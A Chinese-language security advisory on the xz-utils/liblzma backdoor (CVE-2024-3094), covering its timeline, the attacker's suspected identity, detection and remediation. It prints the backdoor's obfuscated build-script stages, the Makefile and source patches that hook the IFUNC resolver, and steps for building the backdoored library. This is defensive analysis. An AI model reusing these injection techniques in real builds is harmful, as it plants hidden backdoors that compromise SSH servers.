事件概述
近日,微软一名软件工程师Andres Freund公开披露,其观察到liblzma库存在一些奇怪的现象,包括在用ssh远程登录异常及内存错误。经过分析,其确认在liblzma上游组件xz-utils中存在后门代码,后门或可导致攻击者能够在ssh登录认证前,执行攻击者指定的任意代码,可对Linux服务器安全造成严重影响。
综合情况看,这是一起开源软件供应链投毒攻击事件。攻击者伪装成开发者,借更新之名,秘密的向xz-utils中加入后门代码,导致xz-utils中的liblzma易受攻击。
OpenSSH用于SSH登录,广泛部署于基于Linux发行的操作系统中。其默认不依赖liblzma,但是部分Linux发行版会对OpenSSH进行二次开发而导致其默认加载LibSystemd,而LibSystemd默认加载liblzma。就这样,OpenSSH间接的因xz-utils的投毒而变得易受攻击,在认证前可执行攻击者发送的恶意代码。 天融信对该漏洞及相关事件的详细分析情况如下。
影响
liblzma/xz官方库遭到供应链攻击,并被恶意篡改以植入后门。xz主要功能是提供数据压缩和解压缩功能,集成了liblzma等组件。部分linux操作系统ssh的底层实现中间接引用了liblzma,常见的如Red Hat、Debian、Kali Linux、Arch Linux、SUSE、Alpine Linux。
xz-utils 分为 liblzma 和 xz 两部分。xz 是一个单文件压缩软件,采用了压缩率高的 LZMA 算法,在 Linux 中被广泛使用。liblzma 是 LZMA 算法的实现,被应用于 systemd 等多个 Linux 系统和应用软件。
OpenSSH 是一个用于安全远程访问的开源软件套件,它提供了加密的通信会话,以及在网络上安全地传输文件的工具。OpenSSH 实现 SSH 协议进行远程登录的连接工具。恶意代码可能允许攻击者通过后门版本的SSH非授权获取系统的访问权限。
影响版本
xz == 5.6.0
xz == 5.6.1
liblzma== 5.6.0
liblzma== 5.6.1
影响情况
当前的情况显示,该漏洞在”投毒”初期便被发现并披露,影响部分系统及服务,尚未大面积扩散。运维及管理人员仍需重视该事件,尽快检查及处置。
投毒方式
时间线梳理
xz-utils 有两名维护者:Lasse Collin (昵称Larhzu)和 JiaT75(昵称Jia Tan),其中 Lasse Collin 自从 2009 年以来一直维护着 XZ-Utils 库,JiaT75则是本次事件的聚焦点之一,其在2021年注册后的11月16日向libarchive(与xz无关)进行了第一次pr,添加了一个未打印的详情错误,这个过程中,将原本的safe_fprintf更改为了unsafe fprintf。
从Mail Archive(xz项目的邮件沟通记录)来看,其最早于2021年10月29日尝试向xz提交代码。
从2022年5月19日开始,ID“Jigar Kumar”和“Dennis Ens”持续对Lasse Collin进行施压,希望选取新的项目开发者来加快更新速度。
在之后的时间里,Jia Tan逐渐获得了项目所有者Lasse Collin的信任,拥有自行提交代码的权力,GitHub上的项目最早提交记录可以追溯到2022年2月7日,此时的提交应该还是原作者参与审核的阶段。
从2022年的12月30日开始,JiaT75有了独自提交代码的能力。
2023年6月23日,GitHub用户“hansjans162”向xz提交了ifunc 解析器替换掉 crc32 模块功能,猜测此ID可能为攻击者另一帐号,并且此ID和在其后的催促debian更新的邮件发送者相同。
在2024年的2月15日的提交中,JiaT75将包含恶意编译代码的文件“build-to-host.m4”添加到.gitignore 文件中,此时该文件将不会被上传到git。
直到2024年2月23日时,JiaT75开始向xz投递了带有恶意载荷文件bad-3-corrupt_lzma2.xz和good-large_compressed.lzma,其自称,文件中包含了一些测试用的“随机数据”,和一些无法被解压的“损坏数据”。为了更好地隐蔽恶意载荷,其中大多数测试数据都是正常无害的。
2024年2月24日时,JiaT75发布了5.6.0版本,在这个版本中,其添加了恶意构建文件“build-tohost.m4”,但是该文件并不存在于GitHub源代码仓库中,而是存在于其releases版本中(https://web.archive.org/web/20240226100419/https://github.com/tukaani-project/xz/releases/download/v5.6.0/xz-5.6.0.tar.gz),其后该版本tarball(打包文件)随即被Debian添加到不稳定版。在编译脚本“build-tohost.m4”中,特定条件下会从bad-3-corrupt_lzma2.xz和good-large_compressed.lzma这两个文件中读取内容对.o文件进行修改,致使编译结果和公开的源代码不一致完成供应链攻击。
2024年2月26日时,JiaT75修改了CMakeLists.txt文件,在其中添加了一个毫不起眼的“.”来绕过了Linux Landlock 检查。因为其编译过程会出错导致得到的结果和预想的不一致。
2024年3月9日时,JiaT75发布了5.6.1版本,改进了原来的恶意载荷文件,这次则增加了检查脚本判断是否在Linux上运行。
在2024年3月20日日,jia tan还在尝试向Linux内核提交代码更新功能(暂未发现直接的恶意代码),并且该代码已进入Linux-next,事发后被叫停。
上游新版本发布后,JiaT75则开始了积极策划使其再次进入Linux发行版,如下图的Ubuntu。
如下图的debian,ID“hansjans162”和前面的ifunc提交相同。
投毒者信息
此次提交恶意文件的用户从提交日志来看有如下其他用户名。
$ git shortlog –summary –numbered –email | grep jiat0218@gmail.com
273 Jia Tan <jiat0218@gmail.com>
2 jiat75 <jiat0218@gmail.com>
1 Jia Cheong Tan <jiat0218@gmail.com>
如果GitHub账户jiat75是这次的事件次精心策划者的话,从其使用的用户名Jia Tan和GitHub 提交时间来看(东八时区),可能有意伪造相关身份来证明其是位于东亚。不过又有新的观点认为其是欧州人/以色列人冒充的中国人,支撑点有如下三个。
- 提交记录的时区信息:观察到此人有在东二时区(冬季)和东三时区(夏季)的提交记录,这与欧洲/以色列地区实行的夏令时制度相吻合,而不是一直在东八时区(中国时区)。
- 时区之间的快速切换:在2022年10月6日,此人在不到10小时内,先后在东八时区和东三时区提交代码,这几乎排除了他在这短时间内实际从中国移动到欧洲的可能性。
- 假日提交记录的差异:此人在中国的重要农历假日(如中秋节、清明节、春节)有提交记录,但在欧洲的主要节日(如圣诞节和新年)却没有提交记录。
目前从整理出的全部信息来看,还无法确定JiaT75究竟是个人还是组织。
源码分析
编译恶意的liblzma.so文件
由于阶段三中执行的good-large_compressed.sh脚本会检查源代码目录下是否存在/debian/rules文件,可以选择debian的xz-utils源码进行编译,或者在上游xz-utils源码创建这样一个文件后,就能成功编译包含后门代码的liblzma.so库。
debian的xz-utils v5.6.0-0.2的链接如下所示。
https://salsa.debian.org/debian/xz-utils/-/tree/debian/5.6.0-0.2?ref_type=tags
阶段一
在构建xz-utils的过程中,通过执行源代码根目录下的configure脚本生成Makefile文件时,会执行build-to-host.m4文件中的宏。此文件中的宏代码用于对./tests/files/bad-3-corrupt_lzma2.xz文件进行修复,解压,然后获得用于阶段二执行的脚本代码(命名为bad-3-corrupt_lzma2.sh)并执行。build-to-host.m4文件中的关键代码如下所示。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
// ./m4/build-to-host.m4 /</code>/ 找到包含“####Hello####”内容的文件的名称 gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null` ❯ grep -aErls "#{4}[[:alnum:]]{5}#{4}$" . 2>/dev/null ./tests/files/bad-3-corrupt_lzma2.xz // 获取xz程序的名字 gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"` ❯ echo ./tests/files/bad-3-corrupt_lzma2.xz | sed "s/.*\.//g" xz // 修复bad-3-corrupt_lzma2.xz文件,并对其解压,获得bad-3-corrupt_lzma2.sh脚本文件,然后执行它 gl_path_map='tr "\t \-_" " \t_\-"' gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null' sed "r\n" ./tests/files/bad-3-corrupt_lzma2.xz | eval 'tr "\t \-_" " \t_\-"' | xz -d 2>/dev/null |
对bad-3-corrupt_lzma2.xz文件的修复是通过tr “\t \-_” ” \t_\-”命令实现的,其过程如下所示:
1 2 3 4 |
0x09(\t) --> 0x20(空格) 0x20(空格) --> 0x09(\t) 0x2d(-) --> 0x5f(_) 0x5f(_) --> 0x2d(-) |
通过对build-to-host.m4文件中的宏代码的理解,可以手动修复bad-3-corrupt_lzma2.xz文件,并获得阶段二执行的bad-3-corrupt_lzma2.sh脚本。
阶段二
阶段二执行的bad-3-corrupt_lzma2.sh脚本的内容如下所示。
1 2 3 4 5 6 7 8 9 10 |
# bad-3-corrupt_lzma2.sh, xz-5.6.0 ####Hello#### #†ùZ÷.hj¼ eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir="../../$srcdir" fi export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203-\4\116-\131" "-\377")|xz -F raw --lzma1 -dc|/bin/sh ####World#### |
bad-3-corrupt_lzma2.sh脚本的内容进行了一定程度的混淆,对其进行分解,可获得以下步骤。
1 2 3 4 5 6 7 8 9 10 11 12 |
# 1. 解压./tests/files/good-large_compressed.lzma文件 xz -dc $srcdir/tests/files/good-large_compressed.lzma # 2. 对good-large_compressed.lzma文件解压后的文件进行处理 eval $i # 3. 只获取第2步结果的末尾31265字节数据 tail -c +31265 # 4. 对第3步结果中的一些数据进行替换 tr "\5-\51\204-\377\52-\115\132-\203-\4\116-\131" "-\377" # 5. 解压第4步获得的正确的压缩文件 xz -F raw --lzma1 -dc # 6. 从第5步的输出中获得阶段三的脚本并执行。 /bin/sh |
第2步对good-large_compressed.lzma文件解压后的文件进行处理,首先通过“head -c +1024 >/dev/null”命令将该文件的前1024字节数据丢弃,然后通过“head -c +2048”命令将该文件前1024字节之后的2048字节数据输出到标准输出,以此模式,不断循环,直到将所有无用数据剔除,只留下有效的数据,以待第3步继续处理。所以,good-large_compressed.lzma文件解压后的文件中的数据是无用数据与有用数据交叉分布的。
由上可知,bad-3-corrupt_lzma2.sh脚本用于解压good-large_compressed.lzma文件,然后对解压后的文件进行处理,获得另一个压缩包。对其解压后,获得阶段三执行的脚本(命名为good-large_compressed.sh)。
可以对bad-3-corrupt_lzma2.sh文件做一些修改,以独立获得good-large_compressed.sh
1 2 3 4 |
# 将good-large_compressed.lzma于此脚本放于同一目录 xz -dc good-large_compressed.lzma # 将标准输出重定向到good-large_compressed.sh文件中 xz -F raw --lzma1 -dc 1>good-large_compressed.sh |
阶段三
阶段三执行的good-large_compressed.sh脚本会执行两次,第一次用来修改/src/liblzma文件夹下的Makefile,在源代码根目录下,使用阶段二的bad-3-corrupt_lzma2.sh脚本对good-large_compressed.lzma文件进行处理并执行。第一次执行good-large_compressed.sh脚本时,会对/src/liblzma文件夹下的Makefile进行修改,其中包含第二次执行good-large_compressed.sh脚本的命令。第二次用来从good-large_compressed.lzma文件中提取出恶意的liblzma_la-crc64-fast.o目标文件,并对/src/liblzma/check/文件夹下的crc64_fast.c和crc32_fast.c文件的内容做一些修改,然后用恶意的liblzma_la-crc64-fast.o文件替换原始的liblzma_la-crc64_fast.o文件,继续完成接下来的编译链接过程,最终生成恶意的liblzma.so文件。
第一次执行的good-large_compressed.sh脚本中的主要代码如下所示。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
P="-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections" C="pic_flag=\" $P\"" O="^pic_flag=\" -fPIC -DPIC\"$" R="is_arch_extension_supported" x="__get_cpuid(" p="good-large_compressed.lzma" U="bad-3-corrupt_lzma2.xz" eval $zrKcVq # 第一次执行此脚本时,是在源代码根目录下执行的。 if test -f config.status; then ...... eval `grep ^build=\'x86_64 config.status` eval `grep ^enable_shared=\'yes\' config.status` eval `grep ^enable_static=\' config.status` eval `grep ^gl_path_map=\' config.status` eval $zrKccj # 查找config.status文件中是否有D["HAVE_FUNC_ATTRIBUTE_IFUNC"]=" 1" if ! grep -qs '\["HAVE_FUNC_ATTRIBUTE_IFUNC"\]=" 1"' config.status > /dev/null 2>&1;then exit 0 fi # 查找config.h文件中是否有#define HAVE_FUNC_ATTRIBUTE_IFUNC 1 if ! grep -qs 'define HAVE_FUNC_ATTRIBUTE_IFUNC 1' config.h > /dev/null 2>&1;then exit 0 fi # 判断enable_shared选项的值是否为yes if test "x$enable_shared" != "xyes";then exit 0 fi # 判断build选项的值中是否包含"x86_64"和"linux-gnu" if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then exit 0 fi ...... # 判断是否存在./debian/rules文件以及$RPM_ARCH环境变量设置为x86_64 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then ...... # 修改/src/liblzma/Makefile文件的内容 eval $zrKcTy b="am__test = $U" sed -i "/$j/i$b" src/liblzma/Makefile || true d=`echo $gl_path_map | sed 's/\\\/\\\\\\\\/g'` b="am__strip_prefix = $d" sed -i "/$w/i$b" src/liblzma/Makefile || true b="am__dist_setup = \$(am__strip_prefix) | xz -d 2> /dev/null | \$(SHELL)" sed -i "/$E/i$b" src/liblzma/Makefile || true b="\$(top_srcdir)/tests/files/\$(am__test)" s="am__test_dir=$b" sed -i "/$Q/i$s" src/liblzma/Makefile || true h="-Wl,--sort-section=name,-X" if ! echo "$LDFLAGS" | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then h=$h",-z,now" fi j="liblzma_la_LDFLAGS += $h" sed -i "/$L/i$j" src/liblzma/Makefile || true sed -i "s/$O/$C/g" libtool || true k="AM_V_CCLD = @echo -n \$(LTDEPS); \$(am__v_CCLD_\$(V))" sed -i "s/$u/$k/" src/liblzma/Makefile || true l="LTDEPS='\$(lib_LTDEPS)'; \\\\\n\ export top_srcdir='\$(top_srcdir)'; \\\\\n\ export CC='\$(CC)'; \\\\\n\ export DEFS='\$(DEFS)'; \\\\\n\ export DEFAULT_INCLUDES='\$(DEFAULT_INCLUDES)'; \\\\\n\ export INCLUDES='\$(INCLUDES)'; \\\\\n\ export liblzma_la_CPPFLAGS='\$(liblzma_la_CPPFLAGS)'; \\\\\n\ export CPPFLAGS='\$(CPPFLAGS)'; \\\\\n\ export AM_CFLAGS='\$(AM_CFLAGS)'; \\\\\n\ export CFLAGS='\$(CFLAGS)'; \\\\\n\ export AM_V_CCLD='\$(am__v_CCLD_\$(V))'; \\\\\n\ export liblzma_la_LINK='\$(liblzma_la_LINK)'; \\\\\n\ export libdir='\$(libdir)'; \\\\\n\ export liblzma_la_OBJECTS='\$(liblzma_la_OBJECTS)'; \\\\\n\ export liblzma_la_LIBADD='\$(liblzma_la_LIBADD)'; \\\\\n\ sed rpath \$(am__test_dir) | \$(am__dist_setup) > /dev/null 2>&1"; sed -i "/$m/i$l" src/liblzma/Makefile || true eval $zrKcHD fi ...... |
此步骤会对当前环境进行一些检测,是否支持glibc的IFUNC特性,以及构建的可执行文件是否是x86_64架构的。除此之外,还会检测源代码项目中是否存在/debian/rules文件或$RPM_ARCH环境变量是否设置为x86_64,只有通过检测,才会修改/src/liblzma/Makefile文件的内容。所以,包含后门的xz-utils项目只能在特定环境下,才能成功构建。
向/src/liblzma/Makefile文件中写入内容的关键部分如下所示。
1 2 3 4 5 6 7 8 |
am__test = bad-3-corrupt_lzma2.xz am__test_dir=$(top_srcdir)/tests/files/$(am__test) am__strip_prefix = tr "\t \-_" " \t_\-" am__dist_setup = $(am__strip_prefix) | xz -d 2>/dev/null | $(SHELL) sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1 # 实际执行的命令 sed rpath ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d 2>/dev/null |
这部分内容用于在通过make命令构建整个项目时,第二次执行good-large_compressed.sh脚本。
第二次执行的good-large_compressed.sh脚本中的主要代码如下所示。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
...... # 第一次执行此脚本时,是在源代码根目录下执行的。 if test -f config.status; then ...... # 第二次执行此脚本时,是从/src/liblzma目录下的Makefile中执行的,所以当前目录为/src/liblzma。 elif (test -f .libs/liblzma_la-crc64_fast.o) && (test -f .libs/liblzma_la-crc32_fast.o); then ...... # 从good-large_compressed.lzma文件中提取liblzma_la-crc64-fast.o文件,存放在/src/liblzma目录下。 xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<4096;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true ...... cp .libs/liblzma_la-crc64_fast.o .libs/liblzma_la-crc64-fast.o || true V='#endif\n#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))\nextern int _get_cpuid(int, void*, void*, void*, void*, void*);\nstatic inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }\n#else\n#define _is_arch_extension_supported is_arch_extension_supported' eval $yosA # 将crc64_fast.c文件crc64_resolve()函数中调用的is_arch_extension_supported()函数替换为_is_arch_extension_supported()函数 if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc64_fast.c | \ # 在crc64_fast.c文件include "crc_x86_clmul.h"语句下添加一段代码 sed "/include \"crc_x86_clmul.h\"/a \\$V" | \ sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc64_fast.c\"" 2> /dev/null | \ # $CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r liblzma_la-crc64-fast.o -x c - $P -o .libs/liblzma_la-crc64_fast.o 2> /dev/null; then ...... fi |
此步骤会从good-large_compressed.lzma文件中提取出预构建的恶意liblzma_la-crc64-fast.o目标文件,并对/src/liblzma/check/目录下crc64_fast.c和crc32_fast.c中的内容进行修改,修改的内容如下所示。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
// crc64_fast.c的修改内容,crc32_fast.c与此相似。 #if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL)) extern int _get_cpuid(int, void*, void*, void*, void*, void*); static inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; } #else #define _is_arch_extension_supported is_arch_extension_supported #endif static crc64_func_type crc64_resolve(void) { return _is_arch_extension_supported() ? &crc64_arch_optimized : &crc64_generic; } |
此修改将crc64_resolve()和crc32_resolve()函数中调用的is_arch_extension_supported()函数替换为_is_arch_extension_supported()函数,并在_is_arch_extension_supported()函数中调用了恶意liblzma_la-crc64-fast.o目标文件中定义的_get_cpuid()函数(一个下划线),而原有的is_arch_extension_supported()函数会调用由gcc实现的__get_cpuid()函数(两个下划线)。_get_cpuid()函数就是对后门进行初始化的入口函数,在此过程中,会修改sshd进程的RSA_public_decrypt()函数的GOT表条目。
后门代码工作原理
上游的OpenSSH不依赖liblzma库,但是debian和其他几个Linux发行版对上游的OpenSSH进行了修改,引入了libsystemd库,使其支持systemd通知。libsystemd库依赖于liblzma库,所以,sshd进程也间接依赖于liblzma库。可通过如下命令,查看当前系统中的sshd进程是否依赖于liblzma库。
1 |
❯ ldd /usr/sbin/sshd | grep "liblzma" liblzma.so.5 => /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007ff5218fc000)❯ ll /lib/x86_64-linux-gnu/ | grep "liblzma"-rw-r--r-- 1 root root 275K 4月 8 2022 liblzma.alrwxrwxrwx 1 root root 47 4月 2 16:10 liblzma.so -> /usr/software/xz-5.6.0-0.2/lib/liblzma.so.5.6.0lrwxrwxrwx 1 root root 47 4月 3 15:24 liblzma.so.5 -> /usr/software/xz-5.6.0-0.2/lib/liblzma.so.5.6.0-rw-r--r-- 1 root root 159K 4月 8 2022 liblzma.so.5.2.4 |
当存在后门的liblzma.so库编译成功后,可以通过如下命令测试后门代码是否成功加载。
1 |
❯ time env -i LC_LANG=C LD_PRELOAD=/usr/software/xz-5.6.0-0.2/lib/liblzma.so.5.6.0 /usr/sbin/sshd -hoption requires an argument -- hOpenSSH_8.2p1 Ubuntu-4ubuntu0.11, OpenSSL 1.1.1f 31 Mar 2020usage: sshd [-46DdeiqTt] [-C connection_spec] [-c host_cert_file] [-E log_file] [-f config_file] [-g login_grace_time] [-h host_key_file] [-o option] [-p port] [-u len]env -i LC_LANG=C LD_PRELOAD=/usr/software/xz-5.6.0-0.2/lib/liblzma.so.5.6.0 0.19s user 0.02s system 90% cpu 0.227 total❯ time env -i LC_LANG=C TERM=foo LD_PRELOAD=/usr/software/xz-5.6.0-0.2/lib/liblzma.so.5.6.0 /usr/sbin/sshd -hoption requires an argument -- hOpenSSH_8.2p1 Ubuntu-4ubuntu0.11, OpenSSL 1.1.1f 31 Mar 2020usage: sshd [-46DdeiqTt] [-C connection_spec] [-c host_cert_file] [-E log_file] [-f config_file] [-g login_grace_time] [-h host_key_file] [-o option] [-p port] [-u len]env -i LC_LANG=C TERM=foo /usr/sbin/sshd -h 0.00s user 0.00s system 91% cpu 0.004 total |
第一条命令成功加载了后门代码,第二条命令未成功加载,加载了后门代码的sshd进程的启动速度较慢。后门代码还会通过检测以下条件,判断是否执行后门代码。
1、未设置TERM、LD_DEBUG、LD_PROFILE环境变量,设置了LANG环境变量。
2、argv[0]为/usr/sbin/sshd。
GNU IFUNC
GNU IFUNC(GNU Indirect Function)是GNU工具链的一项功能,它允许开发人员为给定函数创建多个实现,并在运行时使用同样由开发人员编写的解析器函数进行选择。
IFUNC特性虽然为程序的性能优化和平台兼容性提供了更多的可能性,但也存在被恶意利用的风险,其主要的安全隐患包括:劫持函数、绕过安全措施、隐藏攻击载荷。
xz-utils源码中的crc64_fast.c和crc32_fast.c文件中的crc64_resolve()和crc32_resolve()函数为liblzma实现的IFUNC解析器。当加载liblzma.so共享库时,这些IFUNC解析器函数会很早就得到执行。
处置情况
排查方式一
用户可以通过以下命令检查系统中安装的xz-utils软件包的版本:
xz –version
排查方式二
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
通过利用如下脚本进行自查 #! /bin/bash set -eu # find path to liblzma used by sshd path="$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')" # does it even exist? if [ "$path" == "" ] then echo probably not vulnerable exit fi # check for function signature if hexdump -ve '1/1 "%.2x"' "$path" | grep -q f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410 then echo probably vulnerable else echo probably not vulnerable fi |
修复建议
若确认受影响,请将xz降级至 5.4.6 版本。
产品支持
目前天融信脆弱性扫描与管理系统已紧急更新XZ-Utils 5.6.0/5.6.1版本后门事件预警(CVE-2024-3094)漏洞检查插件,帮助客户进行漏洞排查。
天融信脆弱性扫描与管理系统针对此漏洞的规则库更新如下图:
天融信脆弱性扫描与管理系统针对该漏洞检查结果如下图所示 :
按照如下步骤对插件库进行升级和漏洞扫描:
在线自动升级,在“超级管理员”账号【系统管理】→【插件库升级】→【立即更新】→立即升级。
创建漏洞扫描任务,扫描完成后查看报告,如存在该漏洞,可按照报告中的修复建议进行“补缺”。
参考链接:
https://mp.weixin.qq.com/s/Z5NsI9_l_nFxLHwPVU2gnQ
https://jfrog.com/blog/xz-backdoor-attack-cve-2024-3094-all-you-need-to-know/
https://www.zhihu.com/question/650826484/
https://repology.org/project/xz/versions
https://www.redhat.com/en/blog/urgent-security-alert-fedora-41-and-rawhide-users
https://www.openwall.com/lists/oss-security/2024/03/29/4